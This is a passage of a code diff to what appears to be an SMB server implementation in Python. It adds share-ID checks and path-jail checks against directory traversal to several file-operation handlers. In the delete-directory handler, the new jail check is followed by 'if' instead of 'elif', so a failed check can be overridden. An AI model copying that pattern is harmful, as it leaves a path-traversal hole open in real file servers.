data[respParameters['DataCount']:] + remainingData -= respParameters['DataCount'] + dataDisplacement += respParameters['DataCount'] + 1 + + parameters = parameters[respParameters['ParameterCount']:] + remainingParameters -= respParameters['ParameterCount'] + commands.append(respSMBCommand) + + smbServer.setConnectionData(connId, connData) + return commands, None, errorCode else: - smbServer.log("Unsupported Transact/2 command 0x%x" % command, logging.ERROR) - respParameters = b'' - respData = b'' - errorCode = STATUS_NOT_IMPLEMENTED + smbServer.log("Unsupported Transact/2 command 0x%x" % command, logging.ERROR) + respParameters = b'' + respData = b'' + errorCode = STATUS_NOT_IMPLEMENTED - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1343,59 +1455,62 @@ def smbTransaction2(connId, smbServer, SMBCommand, recvPacket, transCommands): def smbComLockingAndX(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOCKING_ANDX) - respParameters = b'' - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOCKING_ANDX) + respParameters = b'' + respData = b'' # I'm actually doing nothing.. just make MacOS happy ;) errorCode = STATUS_SUCCESS - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode - @staticmethod def smbComClose(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CLOSE) - respParameters = b'' - respData = b'' - - comClose = smb.SMBClose_Parameters(SMBCommand['Parameters']) - - if comClose['FID'] in connData['OpenedFiles']: - errorCode = STATUS_SUCCESS - fileHandle = connData['OpenedFiles'][comClose['FID']]['FileHandle'] - try: - if fileHandle == PIPE_FILE_DESCRIPTOR: - connData['OpenedFiles'][comClose['FID']]['Socket'].close() - elif fileHandle != VOID_FILE_DESCRIPTOR: - os.close(fileHandle) - except Exception as e: - smbServer.log("comClose %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED - else: - # Check if the file was marked for removal - if connData['OpenedFiles'][comClose['FID']]['DeleteOnClose'] is True: - try: - os.remove(connData['OpenedFiles'][comClose['FID']]['FileName']) - except Exception as e: - smbServer.log("comClose %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED - del(connData['OpenedFiles'][comClose['FID']]) + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CLOSE) + respParameters = b'' + respData = b'' + + comClose = smb.SMBClose_Parameters(SMBCommand['Parameters']) + + # Get the Tid associated + if recvPacket['Tid'] in connData['ConnectedShares']: + if comClose['FID'] in connData['OpenedFiles']: + errorCode = STATUS_SUCCESS + fileHandle = connData['OpenedFiles'][comClose['FID']]['FileHandle'] + try: + if fileHandle == PIPE_FILE_DESCRIPTOR: + connData['OpenedFiles'][comClose['FID']]['Socket'].close() + elif fileHandle != VOID_FILE_DESCRIPTOR: + os.close(fileHandle) + except Exception as e: + smbServer.log("comClose %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + # Check if the file was marked for removal + if connData['OpenedFiles'][comClose['FID']]['DeleteOnClose'] is True: + try: + os.remove(connData['OpenedFiles'][comClose['FID']]['FileName']) + except Exception as e: + smbServer.log("comClose %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + del (connData['OpenedFiles'][comClose['FID']]) + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1404,310 +1519,311 @@ def smbComClose(connId, smbServer, SMBCommand, recvPacket): def smbComWrite(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE) - respParameters = smb.SMBWriteResponse_Parameters() - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE) + respParameters = smb.SMBWriteResponse_Parameters() + respData = b'' - comWriteParameters = smb.SMBWrite_Parameters(SMBCommand['Parameters']) + comWriteParameters = smb.SMBWrite_Parameters(SMBCommand['Parameters']) comWriteData = smb.SMBWrite_Data(SMBCommand['Data']) - if comWriteParameters['Fid'] in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][comWriteParameters['Fid']]['FileHandle'] - errorCode = STATUS_SUCCESS - try: - if fileHandle != PIPE_FILE_DESCRIPTOR: - # TODO: Handle big size files - # If we're trying to write past the file end we just skip the write call (Vista does this) - if os.lseek(fileHandle, 0, 2) >= comWriteParameters['Offset']: - os.lseek(fileHandle,comWriteParameters['Offset'],0) - os.write(fileHandle,comWriteData['Data']) - else: - sock = connData['OpenedFiles'][comWriteParameters['Fid']]['Socket'] - sock.send(comWriteData['Data']) - respParameters['Count'] = comWriteParameters['Count'] - except Exception as e: - smbServer.log('smbComWrite: %s' % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + # Get the Tid associated + if recvPacket['Tid'] in connData['ConnectedShares']: + if comWriteParameters['Fid'] in connData['OpenedFiles']: + fileHandle = connData['OpenedFiles'][comWriteParameters['Fid']]['FileHandle'] + errorCode = STATUS_SUCCESS + try: + if fileHandle != PIPE_FILE_DESCRIPTOR: + # TODO: Handle big size files + # If we're trying to write past the file end we just skip the write call (Vista does this) + if os.lseek(fileHandle, 0, 2) >= comWriteParameters['Offset']: + os.lseek(fileHandle, comWriteParameters['Offset'], 0) + os.write(fileHandle, comWriteData['Data']) + else: + sock = connData['OpenedFiles'][comWriteParameters['Fid']]['Socket'] + sock.send(comWriteData['Data']) + respParameters['Count'] = comWriteParameters['Count'] + except Exception as e: + smbServer.log('smbComWrite: %s' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE - + errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @staticmethod - def smbComFlush(connId, smbServer, SMBCommand,recvPacket ): + def smbComFlush(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_FLUSH) - respParameters = b'' - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_FLUSH) + respParameters = b'' + respData = b'' - comFlush = smb.SMBFlush_Parameters(SMBCommand['Parameters']) + comFlush = smb.SMBFlush_Parameters(SMBCommand['Parameters']) - if comFlush['FID'] in connData['OpenedFiles']: - errorCode = STATUS_SUCCESS - fileHandle = connData['OpenedFiles'][comFlush['FID']]['FileHandle'] - try: - os.fsync(fileHandle) - except Exception as e: - smbServer.log("comFlush %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + # Get the Tid associated + if recvPacket['Tid'] in connData['ConnectedShares']: + if comFlush['FID'] in connData['OpenedFiles']: + errorCode = STATUS_SUCCESS + fileHandle = connData['OpenedFiles'][comFlush['FID']]['FileHandle'] + try: + os.fsync(fileHandle) + except Exception as e: + smbServer.log("comFlush %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode - @staticmethod - def smbComCreateDirectory(connId, smbServer, SMBCommand,recvPacket ): + def smbComCreateDirectory(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) - respParameters = b'' - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) + respParameters = b'' + respData = b'' - comCreateDirectoryData= smb.SMBCreateDirectory_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data']) + comCreateDirectoryData = smb.SMBCreateDirectory_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: - errorCode = STATUS_SUCCESS - path = connData['ConnectedShares'][recvPacket['Tid']]['path'] - fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comCreateDirectoryData['DirectoryName']).replace('\\','/')) - if len(fileName) > 0: - if fileName[0] == '/' or fileName[0] == '\\': - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) - if os.path.exists(pathName): + errorCode = STATUS_SUCCESS + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comCreateDirectoryData['DirectoryName'])) + pathName = os.path.join(path, fileName) + + if not isInFileJail(path, fileName): + smbServer.log("Path not in current working directory", logging.ERROR) + errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD + + elif os.path.exists(pathName): errorCode = STATUS_OBJECT_NAME_COLLISION - # TODO: More checks here in the future.. Specially when we support - # user access - else: - try: - os.mkdir(pathName) - except Exception as e: - smbServer.log("smbComCreateDirectory: %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + else: + try: + os.mkdir(pathName) + except Exception as e: + smbServer.log("smbComCreateDirectory: %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SMB_BAD_TID - if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @staticmethod - def smbComRename(connId, smbServer, SMBCommand, recvPacket ): + def smbComRename(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_RENAME) - respParameters = b'' - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_RENAME) + respParameters = b'' + respData = b'' + + comRenameData = smb.SMBRename_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) - comRenameData = smb.SMBRename_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data']) # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: - errorCode = STATUS_SUCCESS - path = connData['ConnectedShares'][recvPacket['Tid']]['path'] - oldFileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comRenameData['OldFileName']).replace('\\','/')) - newFileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comRenameData['NewFileName']).replace('\\','/')) - if len(oldFileName) > 0 and (oldFileName[0] == '/' or oldFileName[0] == '\\'): - # strip leading '/' - oldFileName = oldFileName[1:] - oldPathName = os.path.join(path,oldFileName) - if len(newFileName) > 0 and (newFileName[0] == '/' or newFileName[0] == '\\'): - # strip leading '/' - newFileName = newFileName[1:] - newPathName = os.path.join(path,newFileName) - - if os.path.exists(oldPathName) is not True: + errorCode = STATUS_SUCCESS + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + oldFileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comRenameData['OldFileName'])) + oldPathName = os.path.join(path, oldFileName) + newFileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comRenameData['NewFileName'])) + newPathName = os.path.join(path, newFileName) + + if not isInFileJail(path, oldFileName) or not isInFileJail(path, newFileName): + smbServer.log("Path not in current working directory", logging.ERROR) + errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD + + elif not os.path.exists(oldPathName): errorCode = STATUS_NO_SUCH_FILE - # TODO: More checks here in the future.. Specially when we support - # user access - else: - try: - os.rename(oldPathName,newPathName) - except OSError as e: - smbServer.log("smbComRename: %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + else: + try: + os.rename(oldPathName, newPathName) + except OSError as e: + smbServer.log("smbComRename: %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SMB_BAD_TID - if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @staticmethod - def smbComDelete(connId, smbServer, SMBCommand, recvPacket ): + def smbComDelete(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE) - respParameters = b'' - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE) + respParameters = b'' + respData = b'' - comDeleteData = smb.SMBDelete_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data']) + comDeleteData = smb.SMBDelete_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: - errorCode = STATUS_SUCCESS - path = connData['ConnectedShares'][recvPacket['Tid']]['path'] - fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comDeleteData['FileName']).replace('\\','/')) - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'): - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) - if os.path.exists(pathName) is not True: + errorCode = STATUS_SUCCESS + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comDeleteData['FileName'])) + pathName = os.path.join(path, fileName) + + if not isInFileJail(path, fileName): + smbServer.log("Path not in current working directory", logging.ERROR) + errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD + + elif not os.path.exists(pathName): errorCode = STATUS_NO_SUCH_FILE - # TODO: More checks here in the future.. Specially when we support - # user access - else: - try: - os.remove(pathName) - except OSError as e: - smbServer.log("smbComDelete: %s" % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + else: + try: + os.remove(pathName) + except OSError as e: + smbServer.log("smbComDelete: %s" % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode - @staticmethod - def smbComDeleteDirectory(connId, smbServer, SMBCommand, recvPacket ): + def smbComDeleteDirectory(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) - respParameters = b'' - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) + respParameters = b'' + respData = b'' - comDeleteDirectoryData= smb.SMBDeleteDirectory_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data']) + comDeleteDirectoryData = smb.SMBDeleteDirectory_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: - errorCode = STATUS_SUCCESS - path = connData['ConnectedShares'][recvPacket['Tid']]['path'] - fileName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],comDeleteDirectoryData['DirectoryName']).replace('\\','/')) - if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\'): - # strip leading '/' - fileName = fileName[1:] - pathName = os.path.join(path,fileName) - if os.path.exists(pathName) is not True: + errorCode = STATUS_SUCCESS + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comDeleteDirectoryData['DirectoryName'])) + pathName = os.path.join(path, fileName) + + if not isInFileJail(path, fileName): + smbServer.log("Path not in current working directory", logging.ERROR) + errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD + + if os.path.exists(pathName) is not True: errorCode = STATUS_NO_SUCH_FILE - # TODO: More checks here in the future.. Specially when we support - # user access - else: - try: - os.rmdir(pathName) - except OSError as e: - smbServer.log("smbComDeleteDirectory: %s" % e,logging.ERROR) - if e.errno == errno.ENOTEMPTY: - errorCode = STATUS_DIRECTORY_NOT_EMPTY - else: - errorCode = STATUS_ACCESS_DENIED + else: + try: + os.rmdir(pathName) + except OSError as e: + smbServer.log("smbComDeleteDirectory: %s" % e, logging.ERROR) + if e.errno == errno.ENOTEMPTY: + errorCode = STATUS_DIRECTORY_NOT_EMPTY + else: + errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode - @staticmethod def smbComWriteAndX(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX) - respParameters = smb.SMBWriteAndXResponse_Parameters() - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX) + respParameters = smb.SMBWriteAndXResponse_Parameters() + respData = b'' if SMBCommand['WordCount'] == 0x0C: - writeAndX = smb.SMBWriteAndX_Parameters_Short(SMBCommand['Parameters']) + writeAndX = smb.SMBWriteAndX_Parameters_Short(SMBCommand['Parameters']) writeAndXData = smb.SMBWriteAndX_Data_Short() else: - writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters']) + writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters']) writeAndXData = smb.SMBWriteAndX_Data() writeAndXData['DataLength'] = writeAndX['DataLength'] writeAndXData['DataOffset'] = writeAndX['DataOffset'] writeAndXData.fromString(SMBCommand['Data']) - - - if writeAndX['Fid'] in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][writeAndX['Fid']]['FileHandle'] - errorCode = STATUS_SUCCESS - try: - if fileHandle != PIPE_FILE_DESCRIPTOR: - offset = writeAndX['Offset'] - if 'HighOffset' in writeAndX.fields: - offset += (writeAndX['HighOffset'] << 32) - # If we're trying to write past the file end we just skip the write call (Vista does this) - if os.lseek(fileHandle, 0, 2) >= offset: - os.lseek(fileHandle,offset,0) - os.write(fileHandle,writeAndXData['Data']) - else: - sock = connData['OpenedFiles'][writeAndX['Fid']]['Socket'] - sock.send(writeAndXData['Data']) - - respParameters['Count'] = writeAndX['DataLength'] - respParameters['Available']= 0xff - except Exception as e: - smbServer.log('smbComWriteAndx: %s' % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + + # Get the Tid associated + if recvPacket['Tid'] in connData['ConnectedShares']: + if writeAndX['Fid'] in connData['OpenedFiles']: + fileHandle = connData['OpenedFiles'][writeAndX['Fid']]['FileHandle'] + errorCode = STATUS_SUCCESS + try: + if fileHandle != PIPE_FILE_DESCRIPTOR: + offset = writeAndX['Offset'] + if 'HighOffset' in writeAndX.fields: + offset += (writeAndX['HighOffset'] << 32) + # If we're trying to write past the file end we just skip the write call (Vista does this) + if os.lseek(fileHandle, 0, 2) >= offset: + os.lseek(fileHandle, offset, 0) + os.write(fileHandle, writeAndXData['Data']) + else: + sock = connData['OpenedFiles'][writeAndX['Fid']]['Socket'] + sock.send(writeAndXData['Data']) + + respParameters['Count'] = writeAndX['DataLength'] + respParameters['Available'] = 0xff + except Exception as e: + smbServer.log('smbComWriteAndx: %s' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1716,38 +1832,42 @@ def smbComWriteAndX(connId, smbServer, SMBCommand, recvPacket): def smbComRead(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ) - respParameters = smb.SMBReadResponse_Parameters() - respData = smb.SMBReadResponse_Data() - - comReadParameters = smb.SMBRead_Parameters(SMBCommand['Parameters']) - - if comReadParameters['Fid'] in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][comReadParameters['Fid']]['FileHandle'] - errorCode = STATUS_SUCCESS - try: - if fileHandle != PIPE_FILE_DESCRIPTOR: - # TODO: Handle big size files - os.lseek(fileHandle,comReadParameters['Offset'],0) - content = os.read(fileHandle,comReadParameters['Count']) - else: - sock = connData['OpenedFiles'][comReadParameters['Fid']]['Socket'] - content = sock.recv(comReadParameters['Count']) - respParameters['Count'] = len(content) - respData['DataLength'] = len(content) - respData['Data'] = content - except Exception as e: - smbServer.log('smbComRead: %s ' % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ) + respParameters = smb.SMBReadResponse_Parameters() + respData = smb.SMBReadResponse_Data() + + comReadParameters = smb.SMBRead_Parameters(SMBCommand['Parameters']) + + # Get the Tid associated + if recvPacket['Tid'] in connData['ConnectedShares']: + if comReadParameters['Fid'] in connData['OpenedFiles']: + fileHandle = connData['OpenedFiles'][comReadParameters['Fid']]['FileHandle'] + errorCode = STATUS_SUCCESS + try: + if fileHandle != PIPE_FILE_DESCRIPTOR: + # TODO: Handle big size files + os.lseek(fileHandle, comReadParameters['Offset'], 0) + content = os.read(fileHandle, comReadParameters['Count']) + else: + sock = connData['OpenedFiles'][comReadParameters['Fid']]['Socket'] + content = sock.recv(comReadParameters['Count']) + respParameters['Count'] = len(content) + respData['DataLength'] = len(content) + respData['Data'] = content + except Exception as e: + smbServer.log('smbComRead: %s ' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1756,45 +1876,49 @@ def smbComRead(connId, smbServer, SMBCommand, recvPacket): def smbComReadAndX(connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) - respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ_ANDX) - respParameters = smb.SMBReadAndXResponse_Parameters() - respData = b'' + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ_ANDX) + respParameters = smb.SMBReadAndXResponse_Parameters() + respData = b'' if SMBCommand['WordCount'] == 0x0A: - readAndX = smb.SMBReadAndX_Parameters2(SMBCommand['Parameters']) + readAndX = smb.SMBReadAndX_Parameters2(SMBCommand['Parameters']) else: - readAndX = smb.SMBReadAndX_Parameters(SMBCommand['Parameters']) - - if readAndX['Fid'] in connData['OpenedFiles']: - fileHandle = connData['OpenedFiles'][readAndX['Fid']]['FileHandle'] - errorCode = 0 - try: - if fileHandle != PIPE_FILE_DESCRIPTOR: - offset = readAndX['Offset'] - if 'HighOffset' in readAndX.fields: - offset += (readAndX['HighOffset'] << 32) - os.lseek(fileHandle,offset,0) - content = os.read(fileHandle,readAndX['MaxCount']) - else: - sock = connData['OpenedFiles'][readAndX['Fid']]['Socket'] - content = sock.recv(readAndX['MaxCount']) - respParameters['Remaining'] = 0xffff - respParameters['DataCount'] = len(content) - respParameters['DataOffset'] = 59 - respParameters['DataCount_Hi'] = 0 - respData = content - except Exception as e: - smbServer.log('smbComReadAndX: %s ' % e, logging.ERROR) - errorCode = STATUS_ACCESS_DENIED + readAndX = smb.SMBReadAndX_Parameters(SMBCommand['Parameters']) + + # Get the Tid associated + if recvPacket['Tid'] in connData['ConnectedShares']: + if readAndX['Fid'] in connData['OpenedFiles']: + fileHandle = connData['OpenedFiles'][readAndX['Fid']]['FileHandle'] + errorCode = 0 + try: + if fileHandle != PIPE_FILE_DESCRIPTOR: + offset = readAndX['Offset'] + if 'HighOffset' in readAndX.fields: + offset += (readAndX['HighOffset'] << 32) + os.lseek(fileHandle, offset, 0) + content = os.read(fileHandle, readAndX['MaxCount']) + else: + sock = connData['OpenedFiles'][readAndX['Fid']]['Socket'] + content = sock.recv(readAndX['MaxCount']) + respParameters['Remaining'] = 0xffff + respParameters['DataCount'] = len(content) + respParameters['DataOffset'] = 59 + respParameters['DataCount_Hi'] = 0 + respData = content + except Exception as e: + smbServer.log('smbComReadAndX: %s ' % e, logging.ERROR) + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_INVALID_HANDLE else: - errorCode = STATUS_INVALID_HANDLE + errorCode = STATUS_SMB_BAD_TID if errorCode > 0: respParameters = b'' - respData = b'' + respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1805,28 +1929,34 @@ def smbQueryInformation(connId, smbServer, SMBCommand, recvPacket): respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION) respParameters = smb.SMBQueryInformationResponse_Parameters() - respData = b'' + respData = b'' - queryInformation= smb.SMBQueryInformation_Data(flags = recvPacket['Flags2'], data = SMBCommand['Data']) + queryInformation = smb.SMBQueryInformation_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: - fileSize, lastWriteTime, fileAttributes = queryFsInformation( - connData['ConnectedShares'][recvPacket['Tid']]['path'], - decodeSMBString(recvPacket['Flags2'],queryInformation['FileName']), pktFlags = recvPacket['Flags2']) + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], queryInformation['FileName'])) + if not isInFileJail(path, fileName): + smbServer.log("Path not in current working directory", logging.ERROR) + errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD - respParameters['FileSize'] = fileSize - respParameters['LastWriteTime'] = lastWriteTime - respParameters['FileAttributes'] = fileAttributes - errorCode = STATUS_SUCCESS + else: + fileSize, lastWriteTime, fileAttributes = queryFsInformation(path, fileName, pktFlags=recvPacket['Flags2']) + + respParameters['FileSize'] = fileSize + respParameters['LastWriteTime'] = lastWriteTime + respParameters['FileAttributes'] = fileAttributes + errorCode = STATUS_SUCCESS else: - # STATUS_SMB_BAD_TID errorCode = STATUS_SMB_BAD_TID - respParameters = b'' - respData = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + if errorCode > 0: + respParameters = b'' + respData = b'' + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1837,27 +1967,27 @@ def smbQueryInformationDisk(connId, smbServer, SMBCommand, recvPacket): respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION_DISK) respParameters = smb.SMBQueryInformationDiskResponse_Parameters() - respData = b'' + respData = b'' # Get the Tid associated if recvPacket['Tid'] in connData['ConnectedShares']: totalUnits, freeUnits = queryDiskInformation( - connData['ConnectedShares'][recvPacket['Tid']]['path']) + connData['ConnectedShares'][recvPacket['Tid']]['path']) - respParameters['TotalUnits'] = totalUnits + respParameters['TotalUnits'] = totalUnits respParameters['BlocksPerUnit'] = 1 - respParameters['BlockSize'] = 1 - respParameters['FreeUnits'] = freeUnits + respParameters['BlockSize'] = 1 + respParameters['FreeUnits'] = freeUnits errorCode = STATUS_SUCCESS else: - # STATUS_SMB_BAD_TID - respData = b'' - respParameters = b'' errorCode = STATUS_SMB_BAD_TID + if errorCode > 0: + respData = b'' + respParameters = b'' - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode @@ -1868,15 +1998,15 @@ def smbComEcho(connId, smbServer, SMBCommand, recvPacket): respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) respParameters = smb.SMBEchoResponse_Parameters() - respData = smb.SMBEchoResponse_Data() + respData = smb.SMBEchoResponse_Data() - echoData = smb.SMBEcho_Data(SMBCommand['Data']) + echoData = smb.SMBEcho_Data(SMBCommand['Data']) respParameters['SequenceNumber'] = 1 - respData['Data'] = echoData['Data'] + respData['Data'] = echoData['Data'] - respSMBCommand['Parameters'] = respParameters - respSMBCommand['Data'] = respData + 